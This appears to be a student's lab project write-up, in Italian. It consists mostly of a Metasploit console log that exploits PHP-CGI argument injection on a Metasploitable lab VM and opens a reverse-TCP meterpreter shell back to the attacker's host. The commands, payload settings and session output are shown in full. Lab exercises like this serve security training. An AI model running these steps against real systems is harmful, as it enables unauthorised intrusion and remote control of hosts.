

Progetto Alessandro Moscetti 08/11

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msf6 exploit(unix/webapp/twiki_history) > use multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options
Module options (exploit/multi/http/php_cgi_arg_injection):
   Name
                Current Setting Required Description
                false
   PLESK
                                 ves
                                          Exploit Plesk
   Proxies
                                          A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS
                                          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT
                80
                                          The target port (TCP)
                                 ves
                                          Negotiate SSL/TLS for outgoing connections
                false
                                no
   TARGETURI
                                          The URI to request (must be a CGI-handled PHP script)
   URIENCODING 0
                                          Level of URI URIENCODING and padding (0 for minimum)
   VHOST
                                          HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name Current Setting Required Description
                                    The listen address (an interface may be specified)
   LHOST 192.168.1.100 ves
   LPORT 4444
                          ves
                                    The listen port
Exploit target:
   Id Name
   0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.149
rhosts ⇒ 192.168.1.149
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit
 [*] Started reverse TCP handler on 192.168.1.100:4444
 [*] Sending stage (39927 bytes) to 192.168.1.149
 [*] Meterpreter session 2 opened (192.168.1.100:4444 → 192.168.1.149:50344) at 2023-11-08 16:02:09 +0100
meterpreter > sysinfo
Computer : metasploitable
            : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686
Meterpreter : php/linux
meterpreter >
```

Exploit del servizio php

Grazie per l'attenzione.